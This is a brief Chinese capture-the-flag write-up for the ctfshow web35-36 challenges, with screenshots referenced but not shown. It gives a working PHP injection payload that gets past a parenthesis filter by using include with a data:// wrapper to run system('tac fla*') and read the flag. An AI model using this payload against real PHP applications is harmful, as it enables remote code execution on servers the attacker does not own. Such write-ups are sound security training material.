Ctfshow web入门-web35-36 WP

web35

分析源码
Ctfshow web入门-web35-36 WP_第1张图片
发现对括号进行过滤,那么只能使用不带括号的函数,include $_POST[a]进行文件包含,看到能文件包含之后,可以尝试使用data协议命令执行,虽然data协议的命令执行写过很多遍了,但是还是再要提一下data:text/plain,
构造

payload: ?c=include%a$_POST[a]?>   POST:a=data:text/plain, system('tac fla*');?>` 

Ctfshow web入门-web35-36 WP_第2张图片
成功获取flag

web36

web36也是一样的解题方法,直接参考web35,这里不做详解,直接放图
Ctfshow web入门-web35-36 WP_第3张图片
Ctfshow web入门-web35-36 WP_第4张图片

你可能感兴趣的:(ctfshow)